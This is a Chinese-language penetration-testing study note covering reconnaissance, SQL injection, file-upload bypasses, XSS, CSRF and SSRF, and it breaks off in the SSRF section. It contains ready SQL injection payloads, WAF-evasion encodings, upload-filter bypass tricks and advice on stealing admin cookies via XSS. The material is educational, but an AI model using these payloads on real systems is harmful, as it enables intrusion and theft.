当前位置:   article > 正文

渗透学习笔记_黑客渗透笔记

黑客渗透笔记

渗透学习笔记

首先给出一个网站,该网站收录了各种红队渗透工具:
https://github.com/guchangan1/All-Defense-Tool

信息收集

信息收集需要收集资产的企业备案、域名、IP地址、端口、中间件、CMS、服务器系统、数据库、目录、WAF、泄露

可以使用零零信安对资产进行评估,零零信安能收集资产的信息系统暴露、移动端应用(APP、API、小程序、公众号)、敏感目录、邮箱泄露、文档和代码、域名、人员、DWM情报等,功能强大。

资产收集流程

  1. 查询资产的企业备案
  2. 根据备案号查询企业拥有的域名,结合黑暗引擎与OneForAll工具查询这些域名的子域名
  3. 根据域名查询该域名的IP地址,之后能分别进行:
    • 根据IP地址与域名查询开放的端口
    • 使用工具扫描IP地址与域名获得中间件、CMS、服务器系统、数据库、目录、泄露等信息

下面介绍这些信息该如何收集

企业备案

  • 一家公司开设网站需要对网站进行备案,备案号一般在网站的最底部可以查到。根据查到的网站,可以进行查询后得到该公司的其他注册域名,以下网站常用于企业备案查询:

    https://beian.miit.gov.cn
    
    • 1
  • 若是想得到公司的其他信息,可以到企业查询网站查询,在这些网站里能查到目标公司的网站,电话,负责人等信息,为后面的信息收集与网站渗透提供参考,以下网站常用于企业查询:

    https://aiqicha.baidu.com(爱企查)
    https://www.qcc.com(企查查)
    https://www.tianyancha.com(天眼查)
    
    • 1
    • 2
    • 3

域名

域名能通过DNS来解析回IP,其中域名分为顶级域名,二级域名,三级域名等

​ tieba.baidu.com
​ ↑ ↑ ↑
​ 三级域名.二级域名.顶级域名

对于安全测试的意义:

  • 相同的二级域名的网站架构、源码、密码可能相似
  • 两个网站的域名解析的IP地址可能相同

子域名的获取方式有爆破,搜索,JS查找,证书查找,DNS搜索,OneForAll搜索

爆破

以下为常用爆破的工具:

子域名挖掘机:百度云链接: https://pan.baidu.com/s/1VQ2HLocs39B72ElysskPog 提取码:121l
ksubdomain:https://github.com/knownsec/ksubdomain
  • 1
  • 2
搜索

搜索主要是使用搜索引擎进行搜索,例如百度谷歌fofahuntershodanzoomeye

在使用黑暗搜索引擎时,经常会出现与目标公司不相关的URL,这时就能通过下载该网站的favicon.ico文件并查看

获得favicon.ico文件方法:

1. 直接在网站网址后面加favicon.ico
2. F12或者右键查看网页源代码,然后再网页头部找到 ,链接指向即为favicon.ico的地址
3. http://www.google.com/s2/favicons?domain=网站地址
  • 1
  • 2
  • 3

以下为常用的google hack搜索语法

site     指定域名
intext   正文中存在关键字的网页
intitle  标题中存在关键字的网页
info     一些基本信息
inurl    URL存在关键字的网页
filetype 搜索指定文件类型

例子:
搜索子域名:site:baidu.com
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

在线搜索的网站有:

https://rapiddns.io/subdomain
https://phpinfo.me/domain/
http://whois.chinaz.com/(whois查询)
  • 1
  • 2
  • 3
JS查找

JS查询为使用JSFinder工具通过正则表达式获取URL与子域名。

证书查找

查询HTTPS证书能查询到子域名

https://crt.sh/
  • 1
DNS搜索

查询DNS能查询到该域下的解析记录,从而有可能获得子域名

https://dnsdb.io/zh-cn/
  • 1

在kali里可以使用dig命令进行DNS查询,具体用法:

https://blog.csdn.net/weixin_44617541/article/details/124328099

OneForAll搜索

OneForAll工具是集合了各种方法的子域名收集工具,因此功能很强大

https://github.com/shmilylty/OneForAll
  • 1

IP地址

获得一个网站的真实IP是极其重要的,原因如下:

1. IP能使用NMAP扫描出更多的端口
2. 扫描IP地址为扫描网站的上一级文件夹
3. 很多网站在其上一级有可能有该网站的源码备份
  • 1
  • 2
  • 3

一个IP地址能分为4个段,如199.87.232.11,这个IP中199是A段,87是B段,232是C段,11是D段

获取一个域名对应的IP需要分析其有没有CDN,判断方法为使用超级ping,若每个地方的IP地址不同,就是有CDN,若无则否

无CDN

CMD里使用ping命令就能获得真实IP

有CDN
  1. 网站的各个子域名可能在1-254区间内,或者不同的网段,因此可以测试区域内不同IP来获取真实IP
  2. 有些网站只对加www的网站加CDN,所以无www的网站有可能为真实IP
  3. 根据备案信息注册的省份来判断域名所在地
  4. 有些网站仅仅在国内有CDN,所以可以使用超级ping来判断真实IP
  5. 有些网站仅仅主站有CDN,而分站没有,所以可以根据分站IP判断真实IP
  6. 可以通过注册账号获取验证码的方式获取目标网站向自己发送的邮件,然后使用foxmail打开查看源码,以此获得真实IP
  7. 使用fofahuntershodanzoomeye搜索指定关键字,以此来获得真实IP
  8. 查询DNS记录来查询真实IP
  9. 使用w8fuckcunfuckcdn工具扫描全网来获得真实IP
  10. 使用微步查询历史记录,有可能查到网站没加CDN之前的IP记录
  11. 使用VPN挂全局代理后ping目标网站
  12. 使用get-site-ip网站查询真实IP,有可能不准确,需要借助以上思路进行判断
  13. 利用网站favicon.ico地址的hash值在shodan搜索,具体参考该链接

端口

端口的范围是从0到65535,其中端口分为3大类:

1. 公认端口:从0-1023,这些端口绑定了一些明确服务的协议
2. 注册端口:从1024到49151,这些端口松散绑定一下服务
3. 动态端口:从49152到65535,这些端口并不常用
  • 1
  • 2
  • 3

端口收集常使用nmap来进行探测,以下为快速扫描指令:

nmap -sS -Pn -open -T4
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4
  • 1
  • 2

nmap具体指令介绍

其他扫描工具有御剑高速TCP端口扫描工具、masscan、Goby

也可以使用在线的方式探测端口:

http://coolaf.com/tool/port
https://saomiao.bmcx.com/
https://tool.chinaz.com/port/www.gdsslxh.org.cn
  • 1
  • 2
  • 3

中间件

中间件为网站搭建平台,是网站的一个框架,常见中间件为iis、apache、tomcat、nginx、thinkphp、structs2等

通常使用AlliNGlassEHoledismap等工具进行查看

也可以通过观察网站的后缀进行判断,比如.net.php.asp后缀的网站的中间件一般为IIS

CMS

CMS为一个网站的模板,这个模板已经被设计好,使用前只需要使用者根据自己的需求进行更改,识别CMS能使用特定的攻击方式来进行渗透。

在识别CMS前,可以使用先用7kbscan工具进行扫描,看看是否能扫出源码备份文件或者数据库备份文件。

以下网站能查看ASP,PHP,ASPX,JSP,JAVAWEB 等脚本类型源码安全问题

https://websec.readthedocs.io/zh/latest/language/index.html
  • 1

以下为识别方法:

  1. 在一些网站的最下面会有CMS的名字

  2. 访问CMS的特定路径查看是否能访问来判断CMS

  3. 使用kali中的whatweb命令进行扫描

  4. 使用浏览器中的wappalyzer插件进行查看

  5. 使用御剑WEB指纹识别系统来进行扫描

  6. 下载网站的ico文件查看(即favicon.ico文件)

  7. 使用AlliNGlassEHoledismap等工具进行查看

  8. 使用在线网站进行查看,如:

    https://www.yunsee.cn/
    http://whatweb.bugscaner.com/(云悉)
    
    • 1
    • 2

若是以上方法无法找到源码备份原件和CMS,则可以通过Charles工具来描绘网站,该工具能自动对访问的URL进行归类整理,点击的越多,得到网站的全貌就越完整。

服务器系统

常见的服务器系统为windows与linux,获得操作系统的信息可以根据操作系统的特性进行特定的渗透攻击,如对window7可以使用永恒之蓝进行攻击。

以下为分辨的方法:

  1. 为查看网站对大小写是否区分,区分大小写的为linux,不区分大小写的为windows

  2. 根据TTL值判断操作系统,但TTL值可以修改,有可能会误导我们,以下为默认操作系统TTL(TTL可以通过在CMDPING目标网站查看):

    WINDOWS NT/2000             TTL:128
    WINDOWS 95/98               TTL:32
    UNIX                        TTL:255
    LINUX                       TTL:64
    WIN7                        TTL:64
    
    • 1
    • 2
    • 3
    • 4
    • 5
  3. 使用nmap命令的-O参数来进行探测

数据库

数据库能为网站存储信息,不同的数据库有不同的漏洞,因此得知该网站的数据库是很有必要的,以下为识别方法:

  1. 根据网站的文件来识别:

    asp     access 
    php     mysql 
    aspx    mssql 
    jsp     mssql,oracle 
    python  mogodb
    
    • 1
    • 2
    • 3
    • 4
    • 5
  2. 通过操作系统来判断数据库,有一些数据库只能在特定操作系统中才能运行,比如window下才有access,sqlserver

  3. 使用nmap指令进行探测端口,根据端口号来判断:

    mysql      3306
    mssql      1433
    oracle     1511
    mongodb    27017
    redis      6379
    memcached  11211
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
  4. 通过nmap -O -sV ip地址的方式扫描能获得apache和php和mysql版本

目录

目录作为网站的基本结构之一,能方便浏览者和管理者区分。

通常能用Charles工具dirsearchJSFinder工具御剑目录扫描专业版进行目录扫描

WAF

WAF为WEB应用防护系统,用于隔离外界的非法请求

有些WAF还能作为网站的中间件,如宝塔,phpStudy,inmap等等

识别WAF对于安全测试的意义在于不能对有WAF的网站使用扫描工具扫描

以下为识别WAF的方法:

  1. 使用wafw00f工具进行识别
  2. 利用浏览器抓包识别X-Powered-By

泄露

泄露分为SVN泄露、HG泄露、GIT泄露、VIM缓存泄露、备份文件泄露、PHP备份文件泄露、gedit备份文件泄露

SVN泄露

SVN是源代码版本管理软件。

在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得渗透工程师可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。

在服务器上布署代码时,如果是使用 svn checkout 功能来更新代码,项目目录下会生成隐藏的.svn文件夹(Linux上用ls命令看不到,要用ls -al命令),若没有配置好目录访问权限,则会存在此漏洞。黑客利用此漏洞,可以下载整套网站的源代码。

svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份,文件名为 .svn/text-base/文件名.svn-base。

svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份。

使用dvcs-ripper工具能对网站扫描SVN

HG泄露

当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。

使用dvcs-ripper)工具能对网站扫描HG

vim缓存
  • vim 交换文件名
  • 在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
  • 以 index.php 为例:第一次产生的交换文件名为 .index.php.swp
  • 再次意外退出后,将会产生名为 .index.php.swo 的交换文件
  • 第三次产生的交换文件则为 .index.php.swn
git泄露

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

dirsearch工具扫描目录后有可能扫出.git目录,之后使用GitHack工具能获取该文件

备份文件泄露
  • 常见的网站源码备份文件后缀

    tar
    tar.gz
    zip
    rar
    
    • 1
    • 2
    • 3
    • 4
  • 常见的网站源码备份文件名

    web
    website
    backup
    back
    www
    wwwroot
    Temp
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
  • 可以使用7kbscan扫描

  • bak是备份文件,为文件格式扩展名。这类文件一般在.bak前面加上应该有原来的扩展名比如windows.dll.bak,或是windows_dll.bak,有的则是由原文件的后缀名和bak混合而成。

  • 常见备份文件后缀:“.git” 、“.svn”、“ .swp” “.~”、“.bak”、“.bash_history”、“.bkf”

  • 访问隐藏文件时前面加"."

PHP备份文件泄露
  • .phps后缀释义: phps文件就是php的源代码文件。
  • 通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替
gedit备份文件泄露

在Linux下,用gedit编辑器保存后,当前目录下会生成一个后缀为“ ~ ”的文件,其文件内容就是刚编辑的内容.假设刚才保存的文件名为flag,则该文件名为flag~,见图1-1-7.通过浏览器访问这个带有“ ~ ”的文件,便可以得到源代码。

工具扫描

在得到资产的网站后,可以使用扫描器去扫描网站存在的漏洞

最常用的扫描器有Xrayawvs(该链接迅雷不能下载)、nessus(该链接迅雷不能下载)

漏洞库

https://github.com/binganao/vulns-2022
https://github.com/helloexp/0day
https://github.com/helloexp/vulhub
https://github.com/helloexp/CVE-Exploits
https://github.com/UzJu/0day
https://github.com/faisalfs10x/CVE-IDs
https://github.com/YinWC/2021hvv_vul
https://github.com/dingxiao77/redteam_vul
https://github.com/BaizeSec/bylibrary/tree/main/docs/%E6%BC%8F%E6%B4%9E%E5%BA%93
https://baizesec.github.io/bylibrary/%E6%BC%8F%E6%B4%9E%E5%BA%93/01-CMS%E6%BC%8F%E6%B4%9E/ActiveMQ/ActiveMQ%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/
https://forum.ywhack.com/bountytips.php?Vulnerability
https://github.com/r0eXpeR/supplier
https://my.oschina.net/u/4354006/blog/3322916
https://github.com/projectdiscovery/nuclei-templates
https://github.com/DawnFlame/POChouse
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

peiqi漏洞库


渗透攻击

使用信息收集后会得到各种各样的信息,针对不同的信息就会有不一样的渗透攻击,常见的渗透攻击有爆破、SQL注入、文件上传、XSS、CSRF、SSRF、RCE、文件包含、文件下载、目录穿越、逻辑越权、反序列化、XXE、未授权访问、一句话木马、反弹SHELL,下面会详细介绍这些攻击。

爆破

在信息收集时如果收集到了网站的后台管理网站后,很多网站的管理员为了记忆方便,或者网站刚刚建好还来不及改密码,会使用默认账号密码或者强度很低的密码,若没有WAF的拦截,可以考虑尝试使用弱口令爆破。

弱口令爆破的工具主要有超级弱口令检查工具burpsuite的Intruder模块,Hydra(kali自带)

爆破字典可以用fuzzDicts,另外下面的参数爆破可以用这个字典

SQL注入

对于任意一个输入框,只要满足以下条件就有可能存在SQL注入漏洞:

  • 参数用户可控:前端传给后端的参数内容是用户可以控制的;
  • 参数带入数据库查询:传入的参数拼接到SQL语句中,且带入数据库查询;

SQL注入的分类方式如下:

按变量类型分

  • 数字型
  • 字符型

按HTTP提交方式分

  • GET注入
  • POST注入
  • Cookie注入

按注入方式分

  • 报错注入

  • 盲注

    • 布尔盲注
    • 时间盲注
  • union注入

SQL注入还能通过工具来进行注入,工具注入主要使用SQLMAP工具,也可以使用椰树V1.9接口修复版。

另外还有堆叠注入、DNS注入、二次注入、宽字节注入、偏移注入等方式,针对WAF还有特殊的绕过方式

攻击流程
  1. 首先使用union注入测试,没有回显就使用盲注或者报错注入
  2. 有回显的话就能使用堆叠注入、DNS注入、二次注入、宽字节注入、偏移注入等注入方式进行测试
  3. 在能注入的前提下,注入流程为依次判断类型,字段数,回显点,依次爆库名,表名,字段名,数据
  4. 若是查询到了账号密码能尝试在网站的各种登录框中进行登录尝试
  5. 使用sqlmap能用--os-shell参数进行getshell

下面将详细介绍这些注入方式。

union注入
  • union注入是联合查询union会一次显示两个查询结果,我们可以使得第一个查询语句作为正常内容,第二个作为查询语句来进行构造。
  • 注入流程为依次判断类型,字段数,回显点,依次爆库名,表名,字段名,数据
报错注入

利用前提:页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error()
优点:不需要显示位
缺点:需要输出mysql_error()的报错信息

报错型注入则是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果:在rand()group by同时使用到的时候,可能会产生超出预期的结果,因为会多次对同一列进行查询。

报错注入主要利用的函数是floor()extractvalue()updatexml()

concat区别

concat()

  • 将多个字符串连接成一个字符串
  • 语法:concat(str1, str2,...)

concat_ws()

  • 将多个字符串连接成一个字符串,但是可以一次性指定分隔符
  • 语法:concat_ws(separator, str1, str2, ...)

Group_concat()

  • group by产生的同一个分组中的值连接起来,返回一个字符串结果。
  • 语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
floor()
  • floor()报错注入是利用count()rand()floor()group by 这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,group by冲突报错。
    报错原理:利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键冗余,导致报错。
  • floor向下取整数—如2.5取整数为2
extractvalue()
  • 该函数对XML文档进行查询的函数
  • 其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样
  • 语法:extractvalue(目标xml文档,xml路径)
  • 第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
  • 正常查询第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
  • 以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。
id=1' and (extractvalue(1,concat(‘~’,(select database())))) --+
  • 1
updatexml()
  • updatexml()函数与extractvalue()类似,是更新xml文档的函数。
  • 语法updatexml(目标xml文档,xml路径,更新的内容)
id=1' and updatexml(1,concat('~',(select database()),'~'),3)--+
  • 1
布尔盲注

布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息

时间盲注

时间型的注入遇到的条件更为苛刻,数据交互完成以后目标网站没有错误和正确的页面回显,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。当然也需要构造闭合。

堆叠注入

堆叠注入是一堆 sql 语句(多条)一起执行,例如以下这个例子。
用户输入DELETE FROM products
服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

具体可以查看该文章

DNS注入

DNS注入是对存储在DNS服务器上解析留下的日志进行注入,具体例子看该文章

二次注入

二次注入是指利用已经上传的数据,再次进入查询语句后,形成的恶意查询语句进行注入

例如在注册页面,插入了相关的恶意语句,假如注册用户名是1' union select 1,user()#

这样的话,在再次构建SQL语句后台会回显这样的数据。

执行语句:select * from users where admin='1' union select 1,user();

返回数据库用户名称。

宽字节注入
  • 在使用PHP连接MySQL的时候,当设置set character_set_client = gbk时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入%DF%27,即可把(%5C)合并掉,举个例子。
http://www.nicai.com/index.php?id=1
  • 1
  • 当提交?id=1' and 1=1%23时,MySQL运行的SQL语句为

    select * from user where id ='1\' and 1=1#'
    
    • 1
  • 很明显这是没有注入成功的,而当我们提交id=1%DF' and 1=1%23时,MySQL运行的SQL语句就变为了

    select * from user where id ='1運' and 1=1#'
    
    • 1
  • 我们这里的宽字节注入是利用MySQL的一个特性,MySQL在使用GBK编码的时候,由于GBK是多字节编码,会认为两个字节代表一个汉字(前一个ASCII码要大于128,才到汉字的范围),所以%DF和后面的\也就是%5c中变成了一个汉字“運”,从而使单引号逃逸了出来

偏移注入

偏移注入是一种注入姿势,可以根据一个较多字段的表对一个少字段的表进行偏移注入,一般是联合查询,在页面有回显点的情况下

使用场景:

  • 在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。
  • 当猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。
  • 像Sqlmap之类的工具实际上是爆破字段的名字,但是如果字段名称比较奇葩,就无可奈何了

注入原理:

  1. 联合查询payload:union select 1,2,3,4,5,6,7,8 from admin
  2. 在我们不知道admin有多少字段的情况下可以尝试payload:union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错
  3. 直到payload:union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段
  4. 然后通过移动admin.*的位置,就可以回显不同的数据

注入流程可以看该文章

WAF绕过

绕过方式有注释符、内联注释、编码、空格绕过、or and xor not 绕过、双写绕过、大小写变种、等号=绕过,下面详细介绍

注释符

当过滤器阻止各种空白符常见关键词过滤时,可使用注释进行绕过

-- “注释内容”
/*注释内容*/
;
//
--
--+
#
:%00
/!*注释内容*/
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
内联注释

内联注释能把一些特有的仅在MYSQL上的语句放在 /!../ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL的特定版本(与注释内描述的版本有关)中会执行。

select * from cms_users where userid=1 union */\*!5000 select\*/* 1,2,3;
  • 1
编码

浏览器中输入的URL会由浏览器进行一次URL编码,所以可以通过多次编码绕过正则表达式的检测;如URLEncode编码、ASCII、HEX、unicode编码绕过:

对关键字进行两次url全编码:1+and+1=21+%25%36%31%25%36%65%25%36%34+1=2 

/**/union/**/select/**/password/**/from/**/users/**/where/**/username/**/like/**/'admin'#%252f%252a*/union%252f%252a*/select%252f%252a*/password%252f%252a*/from%252f%252a*/users%252f%252a*/where%252f%252a*/username%252f%252a*/like%252f%252a*/'admin'#
或ex\u0065c => exec


ascii编码
Test 等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

16进制
select * from users where username = test1;
select * from users where username = 0x7465737431;

unicode编码对部分符号的绕过
单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
空格绕过

一般绕过空格过滤的方法有以下几种方法来取代空格

/**/
()
回车(url编码中的%0a)
`(tab键上面的按钮)
tab
  • 1
  • 2
  • 3
  • 4
  • 5
or and xor not 绕过
or = ||
and = &&
xor = | 或者 ^ # 异或,例如Select * from cms_users where userid=1^sleep(5);
not = !
  • 1
  • 2
  • 3
  • 4
双写绕过

在某一些简单的waf中,会将关键字select等使用replace()函数置换为空。当关键词被过滤时可以采用双写的方式,在经过waf的处理之后又变成select,达到绕过的要求。

and写成anandd
select写成seleselectct
  • 1
  • 2
大小写变种

当关键词被过滤时,可尝试变换大小写进行绕过。

UniOn 
SeleCt
  • 1
  • 2
等号=绕过

不加通配符的like执行的效果和 = 一致,所以可以用来绕过。

  1. 正常加上通配符的like:

    Select * from cms_users where username like "ad%"; 
    
    • 1
  2. 不加上通配符的like可以用来取代=:

    Select * from cms_users where username like "admin"; 
    
    • 1
  3. regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

    Select * from cms_users where username REGEXP "admin"; 
    
    • 1
  4. 使用大小号来绕过

    Select * from cms_users where userid>0 and userid<2; 
    
    • 1
  5. <> 等价于 != ,所以在前面再加一个 ! 结果就是等号了

    Select * from cms_users where !(username <> "admin");
    
    • 1

文件上传

当收集到一个网站能让使用者进行文件上传时,就有可能存在文件上传漏洞

文件上传漏洞能让攻击者上传木马从而控制网站服务器,属于高危漏洞

文件上传不能简单通过修改后缀来攻击,因为浏览器无法识别后缀为jpg的文件

文件上传绕过分为前端绕过、服务端绕过、解析漏洞绕过、WAF绕过

前端绕过

前端验证为javascript检测,通常为检测文件后缀。

绕过方式只需要先上传正确后缀的文件后,用burpsuite抓包后修改为原本木马的后缀就能绕过

由于太过于简单绕过,所以一般网站都不会设置前端验证

服务端绕过

服务端绕过方式有很多种,下面详细介绍

后缀名

后缀名的验证,分为黑名单(asp,PHP,jsp,aspx,cgi,war…)和白名单(jpg,png,zip,rar,gif…)。

  • 黑名单是不允许那些格式的文件上传,缺陷:添加文件的后缀,如PHP5等;
  • 白名单是只允许那些格式的文件上传,相对来说安全一些。

针对黑名单绕过:

  1. 大小写,如Php

  2. 双写后缀,如phphpp

  3. 后缀名末尾加空格【 】(Linux服务器不支持)

  4. 后缀名末尾加点【.】(Linux服务器不支持)

  5. 后缀名末尾加::$DATA(Linux服务器不支持)

  6. %00截断(Linux服务器不支持)

    例如1.php%00.jpg

MIME 信息

MIME 信息是指content-Type的内容,不同文件类型所对应的值也不同,如GIF文件对应:image/gif,如果检测的是mime,可以通过修改来绕过验证。

.htaccess
  1. .htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。

  2. 该文件提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

  3. 作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

  4. 该绕过方式只有Apache中间件有,作用是实现文件解析的自定义

  5. .htaccess文件的内容为

    AddType application/x-httpd-php .png 
    
    • 1

    .png为自定义绕过后缀

文件头

文件头是指文件头部,在木马里的头部添加白名单中的文件头能实现绕过

JPG:FF D8 FF E0 00 10 4A 46 49 46
GIF :47 49 46 38 39 61 (GIF89a)
PNG:89 50 4E 47
  • 1
  • 2
  • 3
图片马

服务器对上传的文件的全部内容进行检测,例如若上传的文件不是完整的图片,就会上传失败

因此,我们可以在一个完整的图像中添加木马代码就能实现绕过

木马运行有可能需要配合解析漏洞

条件竞争

有些网站会对上传后的文件进行二次操作,如修改文件名

但是,在服务器进行修改前,有一瞬间是没有修改的

这时就能通过window的特性(已经访问了的文件修改不了文件名)来实现绕过

通常需要利用脚本不断请求才能成功

解析漏洞绕过

中间件解析文件时可能会存在解析漏洞,利用解析漏洞就能修改木马文件的后缀实现绕过

IIS5.x/6.0解析漏洞

如果目录名以".asp.asa.cer.cdx"字符串结尾,那么这个目录下所有的文件都会按照 asp 去解析。例如: “test.asp/1.jpg”就会解析asp代码。

IIS7.0/IIS7.5/Nginx<8.03解析漏洞

对任意文件名只要在URL后面追加上字符串"/任意文件名.php",就会按照 php 的方式去解析
例如,我上传一个图片木马22.png 直接访问url为 www.haha.com/upload/22.png 图片可以查看但是代码解析不出来,这时候我们只要在url后面加上www.haha.com/upload/22.png/33.php就可以执行代码。

Nginx <8.03 空字节代码执行漏洞

使用%00截断,如对一个图片马使用:xxx.jpg%00.php

Apache解析漏洞

apache解析后缀是从右往左解析,若解析的域名不可识别,则继续往左判断

因此就可以设置文件为:xxx.php.csg,csg后缀apache无法识别,因此就会识别后面的php

WAF绕过
  1. 寻找黑名单之外的扩展名

  2. 构造畸形的数据包

    删掉content-type

    构造多个filename

  3. 数据溢出-防匹配(xxx…)

    填充垃圾数据
    
    • 1
  4. 符号变异-防匹配(’ " ;)

    去掉一个双引号,没有闭合安全狗会误以为是程序自带
    ;意味着符号后面还有语句要执行,如果不执行的话,最后的语句为空。因此:filename="a.jpg;.php "
    
    • 1
    • 2
  5. 数据截断-防匹配(%00 ;换行;/)

    %00后面的内容被截断,如:2.php%00.jpg(%00要解码)
    换行为\n,如2.php变成2.p\nh\np ,就可以绕过安全狗的匹配
    一般/**/为注释符号,安全狗将//的内容注释
    
    • 1
    • 2
    • 3
  6. 重复数据-防匹配(参数多次)

    重复传参,用前面的参数欺骗安全狗检验,最后传递最后的参数
    参数过滤只有一次,可以用.pphphp来绕过验证,这里也是用前面的参数来绕过验证
    借助白名单技术,在匹配的时候,发现filename的字符串为前面的数据,安全狗误以为:2.php 没有传递个filename参数,从而绕过。
    
    • 1
    • 2
    • 3

XSS

XSS为前端漏洞,攻击者通过往WEB页面插入恶意Script代码后,当用户浏览网站时能触发,达到攻击的目的

XSS测试的范围是每一个输入框,URL中的所有参数,也就是说任何一个与服务器有交互的参数都可以测试CSS

XSS攻击在红队渗透中可以用来盗取用户的cookie,尤其是管理员登录平台的cookie

攻击流程为首先找一个xss平台,在上面生成攻击代码,然后上传到目标网站上,等待管理员通过浏览器浏览服务器数据(如果能不用xss平台是最好的,因为平台管理员也能得到我们攻击得到的cookie,有泄露的风险)

XSS有三种类型,分别为反射型、存储型、dom型,下面会介绍这三种方式

反射型

反射型不是一种持久化攻击,通常为攻击者制作好攻击链接,然后欺骗用户点击从而达到攻击的目的

存储型

存储型是持久化攻击,攻击者会将攻击代码上传到目标网站的服务器里,当网站调用数据到前端网站时有可能会运行攻击代码,从而达到攻击的目的

dom型
  • dom型是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。
  • DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。
  • DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。
  • 客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
  • 一般是浏览器前端代码进行处理。
三种方式的执行流程
  • 反射型:发包x=baidu=>x.php=>回包
  • 存储型:发包x=baidu=>x.php=>写到数据库某个表=>x.php=>回显
  • dom型:发包x=baidu=>本地静态浏览器前端源代码(直接前端处理)

CSRF

  • Cross-site request forgery 简称为“CSRF”
  • 在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了
  • 攻击的链接的攻击目的通常把用户的信息修改为我们想修改的信息
  • 攻击成功的前提是用户打开了网站,并且当前的cookie或session并未失效

SSRF

  • Server Side Request Forgery简称为“SSRF”
  • 攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。
  • SSRF攻击通常针对外部网络无法直接访问的内部系统。
  • SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件
漏洞产生区域
  1. url 地址分享文章,如http://share.xxx.com/index.php?url=http://127.0.0.1
  2. URL地址加载或下载图片,如http://image.xxx.com/image.php?image=http://127.0.0.1
  3. URL地址图片、文章收藏,如http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
  4. URL把原网站内容转化为适合当前情况浏览的网站,如转手机网页
  5. URL翻译对应文本内容,如百度翻译
  6. 参数关键字
    • share
    • wap
    • url
    • link
    • src
    • source
    • target
    • u
    • 3g
    • display
    • sourceURl
    • imageURL
    • domain
  7. 漏洞函数
    • file_get_contents(),作用:将整个文件读入一个字符串
    • fsockopen(),作用:通过套接字连接实现对用户指定URL数据的获取
    • curl_exec(),作用:改函数初始化一个新的会话,返回一个cURL句柄
攻击方式
